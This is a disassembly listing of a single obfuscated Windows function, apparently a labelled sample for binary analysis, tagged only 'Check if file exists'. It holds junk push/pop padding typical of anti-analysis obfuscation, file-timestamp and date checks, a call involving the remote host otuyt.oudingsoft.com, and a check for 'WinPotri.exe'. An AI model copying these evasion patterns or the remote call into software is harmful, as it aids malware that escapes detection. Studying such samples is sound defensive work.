Function at 0x43ed00
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dcd07
mov eax, dword fs:[0]
push eax
mov eax, 0x15f8
call fcn.00451480
mov eax, dword [0x66f33c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x15ec], ecx
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x14fc]
push 0x12
xor eax, eax
mov dword [ebp - 0x14e8], 7
push 0x5e28c4
mov dword [ebp - 0x14ec], 0
mov word [ebp - 0x14fc], ax
call fcn.00403000
push 6
push str.a51ef8
lea ecx, [ebp - 0x14fc]
mov dword [ebp - 4], 0
call fcn.00405290
cmp dword [ebp - 0x14e8], 8
lea eax, [ebp - 0x14fc]
lea ecx, [ebp - 0x15f8]
cmovae eax, dword [ebp - 0x14fc]
push eax
call fcn.00462549
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 4], 1
call fcn.00453670
test eax, eax
jne 0x440c2e
push 1
push 0x5e38d0
lea ecx, [ebp - 0x1424]
mov dword [ebp - 0x1410], 0xf
mov dword [ebp - 0x1414], eax
mov byte [ebp - 0x1424], al
call fcn.00405be0
xor eax, eax
mov byte [ebp - 4], 2
push str.0f9509
push esi
mov dword [ebp - 0x15c8], eax
call fcn.0042aaa0
add esp, 8
mov dword [ebp - 0x15c4], eax
call fcn.00454993
test al, al
je 0x43ee22
push esi
push edi
push ecx
pop edi
push eax
pop ebx
pop esp
push esp
pop esp
pop edi
push ebx
pop edx
push esi
pop esp
push eax
push eax
pop ebx
pop ecx
push esp
pop ebp
pop esi
pop edx
push ecx
call fcn.004547b0
test al, al
je 0x43ee4a
push ebx
push edx
pop edx
push ebx
pop ebx
pop ecx
push eax
pop eax
pop esp
push edx
pop edx
pop ecx
push eax
pop esp
pop esp
push esp
push ebx
push esi
pop ebx
push edx
pop ebp
push ecx
push esp
push edx
pop edx
pop esp
pop edx
push ebx
push edx
pop esp
push ecx
call fcn.0045483a
test al, al
je 0x43ee63
push eax
push esp
pop edi
push esi
push edi
pop ebp
push ebx
push edx
pop ecx
push edi
push esp
pop esi
pop edx
pop ebx
pop esi
pop ebp
call fcn.0045494e
test al, al
je 0x43ee7f
push esp
push edi
push ebx
pop ebp
pop esi
pop eax
pop ebx
push esi
pop ebx
push esi
push edx
push edi
push ebp
pop ebx
pop edx
pop ebx
pop esp
pop esp
push edi
mov ebx, dword [ebp - 0x15c4]
test ebx, ebx
je 0x43ef6e
push ebx
lea ecx, [ebp - 0x143c]
call fcn.00403740
lea eax, [ebp - 0x143c]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x137c]
push eax
call fcn.0045af6f
add esp, 8
mov esi, eax
lea eax, [ebp - 0x1424]
cmp eax, esi
je 0x43ef04
mov eax, dword [ebp - 0x1410]
cmp eax, 0x10
jb 0x43eedd
inc eax
lea ecx, [ebp - 0x1424]
push eax
push dword [ebp - 0x1424]
call fcn.004053c0
push esi
lea ecx, [ebp - 0x1424]
mov dword [ebp - 0x1410], 0xf
mov dword [ebp - 0x1414], 0
mov byte [ebp - 0x1424], 0
call fcn.00408450
mov eax, dword [ebp - 0x1368]
cmp eax, 0x10
jb 0x43ef22
inc eax
lea ecx, [ebp - 0x137c]
push eax
push dword [ebp - 0x137c]
call fcn.004053c0
mov eax, dword [ebp - 0x1428]
mov dword [ebp - 0x1368], 0xf
mov dword [ebp - 0x136c], 0
mov byte [ebp - 0x137c], 0
mov byte [ebp - 4], 2
cmp eax, 8
jb 0x43ef5f
inc eax
lea ecx, [ebp - 0x143c]
push eax
push dword [ebp - 0x143c]
call fcn.00403100
push ebx
call fcn.0047f759
add esp, 4
mov dword [ebp - 0x15c8], eax
call fcn.00454588
test al, al
je 0x43ef89
pop edx
pop edi
push edx
pop ebx
pop ebp
pop edx
push esp
pop edx
push esp
push ebp
pop ebp
pop edi
push eax
push esp
push esp
push ebx
pop edi
pop edi
call fcn.004547b0
test al, al
je 0x43efad
push edi
push edi
push eax
push edi
pop ecx
push ebp
push esp
pop ebp
push ebp
push ebp
pop edi
pop ebp
push ebp
pop esp
pop ecx
push esp
push eax
pop esp
push esi
pop esp
push ebp
push esi
push eax
push edi
pop edx
push edx
push esp
call fcn.00454612
test al, al
je 0x43efc8
pop edi
push edi
push ebx
push edx
pop esi
pop edi
push ebx
pop ebx
push esp
push eax
pop eax
push ebx
pop esi
push ebx
push ebx
push esp
pop ecx
pop ebx
call fcn.00454993
test al, al
je 0x43efe8
push esi
push edi
push ecx
pop edi
push eax
pop ebx
pop esp
push esp
pop esp
pop edi
push ebx
pop edx
push esi
pop esp
push eax
push eax
pop ebx
pop ecx
push esp
pop ebp
pop esi
pop edx
push ecx
call fcn.004547b0
test al, al
je 0x43f010
push ebx
push edx
pop edx
push ebx
pop ebx
pop ecx
push eax
pop eax
pop esp
push edx
pop edx
pop ecx
push eax
pop esp
pop esp
push esp
push ebx
push esi
pop ebx
push edx
pop ebp
push ecx
push esp
push edx
pop edx
pop esp
pop edx
push ebx
push edx
pop esp
push ecx
call fcn.0045483a
test al, al
je 0x43f029
push eax
push esp
pop edi
push esi
push edi
pop ebp
push ebx
push edx
pop ecx
push edi
push esp
pop esi
pop edx
pop ebx
pop esi
pop ebp
call fcn.0045494e
test al, al
je 0x43f045
push esp
push edi
push ebx
pop ebp
pop esi
pop eax
pop ebx
push esi
pop ebx
push esi
push edx
push edi
push ebp
pop ebx
pop edx
pop ebx
pop esp
pop esp
push edi
mov eax, dword [ebp - 0x15c8]
push 0xffffffffffffffff
test eax, eax
jne 0x43f058
push str.ec6c95
jmp 0x43f081
cmp eax, 1
jne 0x43f064
push str.821df9
jmp 0x43f081
cmp eax, 3
jne 0x43f070
push str.2bdf1d
jmp 0x43f081
cmp eax, 0x64
jne 0x43f07c
push str.27572a
jmp 0x43f081
push str.207932
push 0x5e2808
call fcn.00406870
mov ecx, eax
call fcn.0045deef
mov dword [ebp - 0x15c4], eax
call fcn.00454588
test al, al
je 0x43f0b3
pop edx
pop edi
push edx
pop ebx
pop ebp
pop edx
push esp
pop edx
push esp
push ebp
pop ebp
pop edi
push eax
push esp
push esp
push ebx
pop edi
pop edi
call fcn.004547b0
test al, al
je 0x43f0d7
push edi
push edi
push eax
push edi
pop ecx
push ebp
push esp
pop ebp
push ebp
push ebp
pop edi
pop ebp
push ebp
pop esp
pop ecx
push esp
push eax
pop esp
push esi
pop esp
push ebp
push esi
push eax
push edi
pop edx
push edx
push esp
call fcn.00454612
test al, al
je 0x43f0f2
pop edi
push edi
push ebx
push edx
pop esi
pop edi
push ebx
pop ebx
push esp
push eax
pop eax
push ebx
pop esi
push ebx
push ebx
push esp
pop ecx
pop ebx
mov eax, dword [0x6743e0]
test eax, eax
jne 0x43f12a
push 0x15c
call fcn.0045133e
add esp, 4
mov dword [ebp - 0x15d0], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x43f11f
mov ecx, eax
call fcn.00443700
jmp 0x43f121
xor eax, eax
mov byte [ebp - 4], 2
mov dword [0x6743e0], eax
push 0
push str.aa4b45
push 0x5e2808
mov ecx, eax
call fcn.0045deef
mov dword [ebp - 0x15d4], eax
call fcn.004543ea
test al, al
je 0x43f16b
push ebx
push ecx
pop edx
pop ecx
pop edx
push eax
pop ecx
push edi
push ebx
push edx
push edx
push edi
pop esi
pop ebx
push esp
push esi
push eax
pop edi
pop eax
push esp
push edx
pop edi
pop esi
push ebp
pop eax
pop edx
pop esi
push ebx
push ebp
pop ebp
push esi
call fcn.00454726
test al, al
je 0x43f192
pop esi
pop ebp
pop ebx
pop ecx
push ecx
push ebp
pop eax
push esi
pop ecx
pop eax
pop edx
push ebp
pop eax
push esp
pop esi
pop esi
push edi
pop ecx
pop ebx
push eax
push esi
pop edi
pop ecx
push ecx
pop eax
push esi
push ebp
pop eax
push edi
pop ecx
call fcn.00454909
test al, al
je 0x43f1ba
push esp
pop eax
push ecx
pop edi
push ecx
pop ecx
pop eax
push esp
pop ecx
pop edi
pop edi
push ebx
pop ecx
pop edx
pop ecx
push eax
pop esp
pop eax
push edx
pop ecx
pop eax
pop ebx
pop eax
pop ecx
pop edx
push ebp
push ecx
pop eax
push edi
push esp
pop edx
cmp dword [ebp - 0x15d4], 0xffffffff
jne 0x43f24a
call fcn.00406870
mov ecx, eax
call fcn.0045d928
push eax
lea ecx, [ebp - 0x1364]
call fcn.00403740
push 0xc
push 0x5e33cc
lea ecx, [ebp - 0x1364]
mov byte [ebp - 4], 6
call fcn.00405290
cmp dword [ebp - 0x1350], 8
lea eax, [ebp - 0x1364]
push 0
cmovae eax, dword [ebp - 0x1364]
push 0
push 0
push str.9672db
push eax
call fcn.00463b8d
add esp, 0x14
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1350]
mov byte [ebp - 4], 2
cmp eax, 8
jb 0x43f24a
inc eax
lea ecx, [ebp - 0x1364]
push eax
push dword [ebp - 0x1364]
call fcn.00403100
call fcn.00454543
test al, al
je 0x43f26e
pop esp
pop ecx
pop ecx
push edx
pop esp
pop edx
push ecx
pop edi
push esi
pop ecx
pop ecx
pop ecx
push esi
pop ebp
push edx
push ebx
pop edx
push ecx
pop edx
push ebx
pop esi
push edi
push ebp
pop edx
push ebp
push esi
pop ecx
push 0x45
push str.https:__otuyt.oudingsoft.com__3eaf1169350cc65c60fd386f6f9c2e5ca946f9
lea ecx, [ebp - 0x1514]
mov dword [ebp - 0x1500], 0xf
mov dword [ebp - 0x1504], 0
mov byte [ebp - 0x1514], 0
call fcn.00405be0
cmp dword [ebp - 0x1500], 0x10
lea eax, [ebp - 0x1514]
mov ecx, dword [ebp - 0x15ec]
cmovae eax, dword [ebp - 0x1514]
push eax
mov byte [ebp - 4], 7
call fcn.0043e940
mov esi, eax
mov dword [ebp - 0x15d4], esi
cmp dword [ebp - 0x15c4], esi
je 0x440c18
call fcn.004544b9
test al, al
je 0x43f2f6
push edx
pop edi
push esi
push ebp
pop esp
push edx
push ebp
push eax
pop edx
push ebp
pop edx
pop ebp
push ebp
pop esp
pop edi
pop edx
pop edx
push edi
pop esi
push ecx
mov esi, dword [ebp - 0x15d4]
call fcn.004547b0
test al, al
je 0x43f310
pop edi
push ebx
pop edi
push ebp
push ebp
pop eax
pop ebp
push edx
pop ebp
pop edx
pop ecx
push esi
push ebp
pop ebx
push ebx
pop ecx
push ebx
test esi, esi
je 0x43f377
mov eax, dword [ebp - 0x15c8]
push esi
test eax, eax
jne 0x43f326
push str.ec6c95
jmp 0x43f34f
cmp eax, 1
jne 0x43f332
push str.821df9
jmp 0x43f34f
cmp eax, 3
jne 0x43f33e
push str.2bdf1d
jmp 0x43f366
cmp eax, 0x64
jne 0x43f34a
push str.27572a
jmp 0x43f34f
push str.207932
push 0x5e2808
call fcn.00406870
mov ecx, eax
call fcn.0045f99f
push esi
push str.7ff999
push 0x5e2808
call fcn.00406870
mov ecx, eax
call fcn.0045f99f
call fcn.00454a62
test al, al
je 0x43f393
push edx
push ecx
pop ecx
pop ecx
push ecx
push esp
push esi
pop ebp
pop ebp
push ebp
pop ecx
pop eax
push ecx
push eax
push edi
push eax
pop ebx
pop ebx
push esp
lea ecx, [ebp - 0x15c9]
mov dword [ebp - 0x15f0], 0x1000
call fcn.0041e5f0
lea eax, [ebp - 0x15a4]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x15c9]
call fcn.00467a93
lea eax, [ebp - 0x137c]
mov byte [ebp - 4], 9
push eax
call fcn.00406870
mov ecx, eax
call fcn.0045dada
push eax
lea eax, [ebp - 0x1454]
mov byte [ebp - 4], 0xa
push eax
call fcn.0045af6f
add esp, 8
mov eax, dword [ebp - 0x1368]
mov byte [ebp - 4], 0xc
cmp eax, 8
jb 0x43f40b
inc eax
lea ecx, [ebp - 0x137c]
push eax
push dword [ebp - 0x137c]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x1368], 7
push 0x5e28c4
lea ecx, [ebp - 0x1364]
mov dword [ebp - 0x136c], 0
mov word [ebp - 0x137c], ax
call fcn.00403740
lea eax, [ebp - 0x1364]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x158c]
push eax
call fcn.0045af6f
add esp, 8
mov eax, dword [ebp - 0x1350]
mov byte [ebp - 4], 0xf
cmp eax, 8
jb 0x43f474
inc eax
lea ecx, [ebp - 0x1364]
push eax
push dword [ebp - 0x1364]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x1350], 7
push str.1.2.1.0
lea ecx, [ebp - 0x143c]
mov dword [ebp - 0x1354], 0
mov word [ebp - 0x1364], ax
call fcn.00403740
lea eax, [ebp - 0x143c]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x15bc]
push eax
call fcn.0045af6f
add esp, 8
mov eax, dword [ebp - 0x1428]
mov byte [ebp - 4], 0x12
cmp eax, 8
jb 0x43f4dd
inc eax
lea ecx, [ebp - 0x143c]
push eax
push dword [ebp - 0x143c]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x1428], 7
mov dword [ebp - 0x142c], 0
mov word [ebp - 0x143c], ax
call fcn.00454a62
test al, al
je 0x43f516
push esi
push edx
push eax
pop ebp
pop edx
pop edx
push edx
pop ebx
push ebp
pop eax
pop ebp
push eax
push esi
pop eax
pop esp
pop ecx
pop ecx
pop ebx
push ebp
mov eax, dword [ebp - 0x1444]
mov dword [ebp - 0x15c4], eax
cmp eax, 6
jl 0x440321
lea esi, [eax - 6]
push esi
push 0
lea eax, [ebp - 0x1484]
push eax
lea ecx, [ebp - 0x1454]
call fcn.0043c170
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x1364]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x1454]
call fcn.0043c170
push 2
push 0
lea eax, [ebp - 0x14b4]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x1364]
call fcn.0043c170
push 2
push 2
lea eax, [ebp - 0x14cc]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x1364]
call fcn.0043c170
push 2
push 4
lea eax, [ebp - 0x14e4]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x1364]
call fcn.0043c170
cmp dword [ebp - 0x14a0], 0x10
lea eax, [ebp - 0x14b4]
cmovae eax, dword [ebp - 0x14b4]
push eax
call fcn.0047f783
cmp dword [ebp - 0x14b8], 0x10
lea ecx, [ebp - 0x14cc]
mov dword [ebp - 0x15d4], eax
cmovae ecx, dword [ebp - 0x14cc]
push ecx
call fcn.0047f783
cmp dword [ebp - 0x14d0], 0x10
lea ecx, [ebp - 0x14e4]
mov dword [ebp - 0x15d8], eax
cmovae ecx, dword [ebp - 0x14e4]
push ecx
call fcn.0047f783
mov dword [ebp - 0x15d0], eax
mov ebx, 0x12
xor eax, eax
mov byte [ebp - 0x15bd], 0
mov dword [ebp - 0x15c8], ebx
mov dword [ebp - 0x13f8], 7
mov dword [ebp - 0x13fc], 0
mov word [ebp - 0x140c], ax
push 0x208
push eax
lea eax, [ebp - 0x31c]
mov byte [ebp - 4], 0x18
push eax
call fcn.0047be90
add esp, 0x18
lea eax, [ebp - 0x31c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x43f694
call fcn.00406870
mov ecx, eax
call fcn.0045d928
push eax
lea ecx, [ebp - 0x140c]
call fcn.004039d0
push 0x5e33cc
lea ecx, [ebp - 0x140c]
call fcn.0040a430
jmp 0x43f6a6
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x140c]
call fcn.004039d0
call fcn.00454543
test al, al
je 0x43f6cb
pop ecx
pop eax
pop edx
pop esi
pop ebx
push edi
push esi
push esi
pop edx
pop eax
pop esp
push ebx
pop ecx
pop ebx
pop ebp
pop edx
push ebx
pop eax
pop eax
pop ebp
push eax
pop ebp
push esi
mov ebx, 0x12
call fcn.004544b9
test al, al
je 0x43f6e5
pop esi
push edx
push edx
pop edi
pop esi
pop eax
pop esi
push edi
push esi
pop edx
pop edi
push ebx
pop esp
push edi
pop ecx
push eax
pop edx
call fcn.0045483a
test al, al
je 0x43f708
push edx
pop edi
push esp
push eax
push eax
pop esp
pop ebp
pop edi
pop eax
push edx
pop edx
push esi
push ecx
push eax
push edx
push ebp
pop edi
push ebx
pop edi
pop eax
push esi
pop edx
pop edx
pop esp
pop ebp
push edi
cmp dword [ebp - 0x13f8], 8
lea eax, [ebp - 0x140c]
push 0
cmovae eax, dword [ebp - 0x140c]
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x43f855
push 0
push 0
lea eax, [ebp - 0x15e4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x43f855
lea eax, [ebp - 0x13ec]
push eax
lea eax, [ebp - 0x15e4]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x13a4]
push eax
lea eax, [ebp - 0x13ec]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov dword [ebp - 0x1320], 0xf
mov dword [ebp - 0x1324], 0
mov byte [ebp - 0x1334], 0
push 0x104
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0x19
push 0
push eax
call fcn.0047be90
movzx eax, word [ebp - 0x13a4]
push eax
lea eax, [ebp - 0x114]
push 0x5e697c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x1334]
push eax
call fcn.0040c2f0
mov eax, dword [ebp - 0x1324]
lea ecx, [ebp - 0x1334]
push 0xffffffffffffffff
add eax, 0xfffffffe
push eax
lea eax, [ebp - 0x149c]
push eax
call fcn.0043c170
push eax
lea ecx, [ebp - 0x1334]
call fcn.00407a00
lea ecx, [ebp - 0x149c]
call fcn.00403800
cmp dword [ebp - 0x1320], 0x10
lea eax, [ebp - 0x1334]
cmovae eax, dword [ebp - 0x1334]
push eax
call fcn.0047f783
add esp, 4
mov ebx, eax
mov dword [ebp - 0x15c8], ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x1334]
mov byte [ebp - 4], 0x18
call fcn.00403800
call fcn.004549d8
test al, al
je 0x43f87e
push eax
push edi
pop edi
push ecx
pop ebx
push edi
pop edi
pop eax
pop esp
pop eax
pop edx
push eax
pop ebp
pop esp
pop ecx
push esi
pop edx
pop ebx
push edi
pop ebx
push eax
pop ecx
push ebx
pop edi
push esi
push eax
mov ebx, dword [ebp - 0x15c8]
mov ecx, dword [ebp - 0x15d4]
lea eax, [ebx - 1]
cmp ecx, eax
jl 0x43f892
lea eax, [ebx + 1]
cmp ecx, eax
jle 0x43f896
mov bl, 1
jmp 0x43f89c
mov bl, byte [ebp - 0x15bd]
mov eax, dword [ebp - 0x15d8]
cmp eax, 1
jl 0x43f8ac
cmp eax, 0xc
jle 0x43f8ae
mov bl, 1
mov eax, dword [ebp - 0x15d0]
cmp eax, 1
jl 0x43f8be
cmp eax, 0x1f
jle 0x43f8c0
mov bl, 1
call fcn.00454a62
test al, al
je 0x43f8dc
push ecx
push ebp
push eax
pop esp
pop ecx
push edx
pop esp
pop ebp
pop ecx
push esp
push ebx
push edx
pop edi
pop esp
pop ebp
pop edx
push edx
push ecx
pop ecx
test bl, bl
je 0x4401e0
mov esi, dword [ebp - 0x15ec]
cmp dword [esi], 0
jne 0x43f8fb
push 0
call fcn.0047f82c
add esp, 4
mov dword [esi], eax
call fcn.00406870
mov ecx, eax
call fcn.0045d9f2
mov ebx, eax
mov eax, dword [esi]
test ebx, ebx
jne 0x43f917
mov dword [ebp - 0x15c8], eax
jmp 0x43f92c
sub eax, ebx
cdq
xor eax, edx
sub eax, edx
cmp eax, 0x12cc0300
cmovge ebx, dword [esi]
mov dword [ebp - 0x15c8], ebx
call fcn.00454543
test al, al
je 0x43f952
pop ebp
push ebx
push edx
pop esp
push edi
push eax
pop edx
pop edi
pop edi
push edi
pop esp
pop ebp
pop ebp
push edx
push edi
pop eax
pop eax
push ebp
push ebp
pop edi
push esp
pop ebp
pop esi
pop eax
pop eax
push ebp
pop ebx
push ebx
pop ebp
call fcn.0045483a
test al, al
je 0x43f96f
pop ebp
push ecx
pop eax
push ebp
push ecx
push edx
push esp
pop ebx
push ebp
push ebx
pop esp
push ebp
pop eax
push esi
pop ebp
push ebx
push edi
pop ebx
pop eax
pop edi
mov esi, dword [ebp - 0x15c8]
lea eax, [ebp - 0x149c]
push esi
push eax
call fcn.00461987
mov eax, esi
mov byte [ebp - 4], 0x1a
cdq
push edx
push eax
lea eax, [ebp - 0x137c]
push eax
call fcn.004586a0
add esp, 0x14
push 0x5e270d
lea ecx, [ebp - 0x146c]
mov byte [ebp - 4], 0x1b
call fcn.00405f10
push 0x5e270d
lea ecx, [ebp - 0x1394]
mov byte [ebp - 4], 0x1c
call fcn.00405f10
push 0x5e270d
lea ecx, [ebp - 0x13c4]
mov byte [ebp - 4], 0x1d
call fcn.00405f10
lea ecx, [ebp - 0x15dc]
mov byte [ebp - 4], 0x1e
call fcn.0043e8e0
mov esi, dword [ebp - 0x15d0]
xor ebx, ebx
mov byte [ebp - 4], 0x1f
mov al, bl
lea ecx, [ebp - 0x15dc]
add al, 0x61
mov byte [ebp - 0x15bd], al
lea eax, [ebp - 0x15bd]
push esi
push eax
push 0
lea eax, [ebp - 0x15e4]
push eax
call fcn.0043e7d0
inc ebx
cmp ebx, 0x1a
jl 0x43f9f1
mov esi, dword [ebp - 0x15d0]
xor ebx, ebx
mov al, bl
lea ecx, [ebp - 0x15dc]
add al, 0x41
mov byte [ebp - 0x15bd], al
lea eax, [ebp - 0x15bd]
push esi
push eax
push 0
lea eax, [ebp - 0x15e4]
push eax
call fcn.0043e7d0
inc ebx
cmp ebx, 0x1a
jl 0x43fa25
xor esi, esi
cmp dword [ebp - 0x15c4], esi
jle 0x43fafa
nop
call fcn.004547b0
test al, al
je 0x43fa79
pop eax
push esi
pop eax
pop esp
pop edx
pop ebp
pop ebx
push edi
push edx
push edi
pop edx
push edx
push ebp
push eax
push ebp
push edx
mov edi, dword [ebp - 0x15dc]
lea edx, [ebp - 0x1454]
mov ebx, dword [ebp - 0x1440]
mov ecx, edi
cmp ebx, 0x10
mov eax, dword [edi + 4]
cmovae edx, dword [ebp - 0x1454]
add edx, esi
cmp byte [eax + 0xd], 0
jne 0x43fafa
mov dl, byte [edx]
cmp byte [eax + 0xe], dl
jge 0x43faae
mov eax, dword [eax + 8]
jmp 0x43fab2
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x43faa4
cmp ecx, edi
je 0x43fafa
cmp dl, byte [ecx + 0xe]
jl 0x43fafa
cmp ebx, 0x10
lea eax, [ebp - 0x1454]
lea ecx, [ebp - 0x146c]
cmovae eax, dword [ebp - 0x1454]
mov al, byte [esi + eax]
mov byte [ebp - 0x15d0], al
push dword [ebp - 0x15d0]
push 1
call fcn.004411e0
inc esi
cmp esi, dword [ebp - 0x15c4]
jl 0x43fa60
push 0xffffffffffffffff
push dword [ebp - 0x145c]
lea eax, [ebp - 0x1334]
push eax
lea ecx, [ebp - 0x1454]
call fcn.0043c170
mov esi, eax
lea eax, [ebp - 0x13c4]
cmp eax, esi
je 0x43fb65
mov eax, dword [ebp - 0x13b0]
cmp eax, 0x10
jb 0x43fb3e
inc eax
lea ecx, [ebp - 0x13c4]
push eax
push dword [ebp - 0x13c4]
call fcn.004053c0
push esi
lea ecx, [ebp - 0x13c4]
mov dword [ebp - 0x13b0], 0xf
mov dword [ebp - 0x13b4], 0
mov byte [ebp - 0x13c4], 0
call fcn.00408450
mov eax, dword [ebp - 0x1320]
mov byte [ebp - 4], 0x1f
cmp eax, 0x10
jb 0x43fb87
inc eax
lea ecx, [ebp - 0x1334]
push eax
push dword [ebp - 0x1334]
call fcn.004053c0
cmp dword [ebp - 0x13b4], 3
jb 0x43fc55
push 3
push 0
lea eax, [ebp - 0x1334]
push eax
lea ecx, [ebp - 0x13c4]
call fcn.0043c170
mov esi, eax
lea eax, [ebp - 0x1394]
cmp eax, esi
je 0x43fbfb
mov eax, dword [ebp - 0x1380]
cmp eax, 0x10
jb 0x43fbd4
inc eax
lea ecx, [ebp - 0x1394]
push eax
push dword [ebp - 0x1394]
call fcn.004053c0
push esi
lea ecx, [ebp - 0x1394]
mov dword [ebp - 0x1380], 0xf
mov dword [ebp - 0x1384], 0
mov byte [ebp - 0x1394], 0
call fcn.00408450
mov eax, dword [ebp - 0x1320]
mov byte [ebp - 4], 0x1f
cmp eax, 0x10
jb 0x43fc1d
inc eax
lea ecx, [ebp - 0x1334]
push eax
push dword [ebp - 0x1334]
call fcn.004053c0
cmp dword [ebp - 0x1380], 0x10
lea eax, [ebp - 0x1394]
cmovae eax, dword [ebp - 0x1394]
push eax
call fcn.00458779
add esp, 4
test eax, eax
setne al
test al, al
jne 0x43fc55
push 0
push 0x5e270d
lea ecx, [ebp - 0x1394]
call fcn.00405be0
call fcn.004546e1
test al, al
je 0x43fc70
push esp
pop esp
pop ecx
pop eax
pop ecx
push esi
pop esp
push edx
push esi
pop ecx
pop eax
pop ebp
pop edx
push edx
pop esi
push ebx
pop edx
pop ecx
call fcn.004546e1
test al, al
je 0x43fc99
push ecx
push ebx
pop ecx
pop eax
pop eax
push ebp
push ebp
push ebp
push eax
pop eax
push ebx
pop ecx
pop ebx
pop edx
pop edx
pop edi
push edx
push edx
push eax
push eax
push edi
push ecx
pop ebx
pop eax
pop ebp
pop ecx
push eax
pop ecx
pop esp
push eax
pop esp
pop edi
call fcn.0045483a
test al, al
je 0x43fcb5
pop ebx
pop ecx
push eax
pop edx
push edx
push edx
pop edx
pop eax
pop ecx
push esp
push esi
pop ecx
pop edi
push ecx
push ebx
push esp
push esp
push ebx
pop ebp
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1394]
push eax
lea ecx, [ebp - 0x146c]
call fcn.00405880
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x149c]
push eax
lea ecx, [ebp - 0x146c]
call fcn.00405880
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x146c]
push eax
lea ecx, [ebp - 0x1454]
call fcn.00405ab0
call fcn.00406870
mov ecx, eax
call fcn.0045d928
push eax
lea ecx, [ebp - 0x13ac]
call fcn.00403740
mov byte [ebp - 4], 0x22
call fcn.004543ea
test al, al
je 0x43fd2c
push edi
pop esi
push ebx
push esi
push ebx
pop eax
push esi
push esp
push ebp
push edi
pop esi
push ebx
pop esp
pop esi
pop ebp
push esp
call fcn.00454726
test al, al
je 0x43fd45
push ebp
push ebx
push ebp
pop ebx
pop esi
push edi
pop edi
push edx
pop edi
pop eax
push edi
pop ebp
pop esp
pop esp
push edi
pop ecx
call fcn.004544b9
test al, al
je 0x43fd5f
push eax
push edx
pop ecx
pop esp
pop ecx
pop ebx
push ecx
push esi
push edi
push edi
pop esi
pop ebx
pop ebx
pop edi
pop ebp
push ecx
pop esp
push 0xc
push str.WinPotri.exe
lea ecx, [ebp - 0x13ac]
call fcn.00405290
cmp dword [ebp - 0x1398], 8
lea eax, [ebp - 0x13ac]
cmovae eax, dword [ebp - 0x13ac]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x440076
mov dword [ebp - 0x15e8], 0
mov dword [ebp - 0x15e4], 0
mov dword [ebp - 0x15e0], 0
push str.a1aa9b
lea ecx, [ebp - 0x1334]
mov byte [ebp - 4], 0x23
call fcn.00403740
lea eax, [ebp - 0x1334]
mov byte [ebp - 4], 0x24
push eax
lea ecx, [ebp - 0x15e8]
call fcn.0040c6f0
mov eax, dword [ebp - 0x1320]
mov byte [ebp - 4], 0x23
cmp eax, 8
jb 0x43fdfe
inc eax
lea ecx, [ebp - 0x1334]
push eax
push dword [ebp - 0x1334]
call fcn.00403100
lea eax, [ebp - 0x146c]
push eax
lea eax, [ebp - 0x1334]
push eax
call fcn.0045a966
add esp, 8
push eax
lea ecx, [ebp - 0x15e8]
mov byte [ebp - 4], 0x25
call fcn.0040c6f0
mov eax, dword [ebp - 0x1320]
mov byte [ebp - 4], 0x23
cmp eax, 8
jb 0x43fe46
inc eax
lea ecx, [ebp - 0x1334]
push eax
push dword [ebp - 0x1334]
call fcn.00403100
push str.7bd670
lea ecx, [ebp - 0x1334]
call fcn.00403740
lea eax, [ebp - 0x1334]
mov byte [ebp - 4], 0x26
push eax
lea ecx, [ebp - 0x15e8]
call fcn.0040c6f0
mov eax, dword [ebp - 0x1320]
mov byte [ebp - 4], 0x23
cmp eax, 8
jb 0x43fe8e
inc eax
lea ecx, [ebp - 0x1334]
push eax
push dword [ebp - 0x1334]
call fcn.00403100
lea eax, [ebp - 0x137c]
push eax
lea eax, [ebp - 0x1334]
push eax
call fcn.0045a966
add esp, 8
push eax
lea ecx, [ebp - 0x15e8]
mov byte [ebp - 4], 0x27
call fcn.0040c6f0
mov eax, dword [ebp - 0x1320]
mov byte [ebp - 4], 0x23
cmp eax, 8
jb 0x43fed6
inc eax
lea ecx, [ebp - 0x1334]
push eax
push dword [ebp - 0x1334]
call fcn.00403100
push str.910a3e
lea ecx, [ebp - 0x1334]
call fcn.00403740
lea eax, [ebp - 0x15e8]
mov byte [ebp - 4], 0x28
push eax
lea eax, [ebp - 0x1334]
push eax
lea eax, [ebp - 0x13f4]
push eax
call fcn.0045906f
add esp, 0xc
mov eax, dword [ebp - 0x1320]
